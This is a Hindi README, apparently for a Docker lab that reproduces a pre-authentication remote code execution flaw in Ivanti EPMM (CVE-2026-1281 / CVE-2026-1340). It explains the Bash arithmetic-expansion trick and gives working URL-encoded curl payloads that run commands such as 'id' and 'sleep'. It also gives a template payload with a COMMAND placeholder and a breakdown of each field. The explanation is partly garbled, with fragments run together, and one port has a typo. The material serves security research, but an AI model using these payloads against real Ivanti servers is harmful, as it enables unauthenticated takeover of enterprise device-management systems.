
एक सरल डेमो एप्लिकेशन जो दिखाता है कि शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए Ivanti EPMM प्री-ऑथ RCE भेद्यता (CVE-2026-1281 / CVE-2026-1340) को कैसे दोहराया जाए।
एक सरल डेमो एप्लिकेशन जो दिखाता है कि Ivanti EPMM प्री-ऑथ RCE भेद्यता (CVE-2026-1281 / CVE-2026-1340) को शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए कैसे पुन: उत्पन्न किया जाए।
यह भेद्यता Bash अंकगणितीय विस्तार व्यवहार का शोषण करती है। जब किसी अन्य चर के संदर्भ वाले चर का उपयोग अंकगणितीय संदर्भ में किया जाता है, और उस संदर्भित चर में कमांड प्रतिस्थापन के साथ एक सरणी सूचकांक होता है, तो कमांड निष्पादित हो जाती है।
st=theValue (पैडिंग के साथ शाब्दिक स्ट्रिंग "theValue") होता हैh=gPath[\command`]` (सरणी सूचकांक में कमांड) होता हैtheValue अपडेट करती हैgStartTime शाब्दिक स्ट्रिंग "theValue" पर सेट होता हैtheValue में command`]` होता हैgPath[\[[ ${currentTime} -gt ${gStartTime} ]] का मूल्यांकन होता है:
${gStartTime} → "theValue" (स्ट्रिंग)theValue को चर संदर्भ के रूप में मानता हैtheValue → gPath[\command`]`# कंटेनर बनाएं और प्रारंभ करें
docker-compose up --build -d
# जांचें कि यह चल रहा है
curl http://localhost:8180/health
कमांड निष्पादन साबित करने के लिए एक फ़ाइल बनाएं:
# URL-एन्कोडेड पेलोड: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# जांचें कि फ़ाइल बनाई गई थी
cat artifacts/poc
स्लीप कमांड के साथ सत्यापित करें:
# प्रतिक्रिया देने में ~5 सेकंड लगने चाहिए
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# कस्टम सामग्री लिखें
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ पेलोड: gPath[`COMMAND`]
│ │ └─ समाप्ति टाइमस्टैम्प (कोई भी 10 अंक)
│ └─ महत्वपूर्ण: शाब्दिक "theValue" + 2 स्थान (कुल 10 वर्ण)
└─ कुंजी सूचकांक (कोई भी मान)
# कंटेनर लॉग देखें
docker-compose logs -f
# कंटेनर में शेल प्राप्त करें
docker exec -it ivanti-epmm-vuln /bin/bash
# nginx त्रुटि लॉग जांचें
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
यह केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।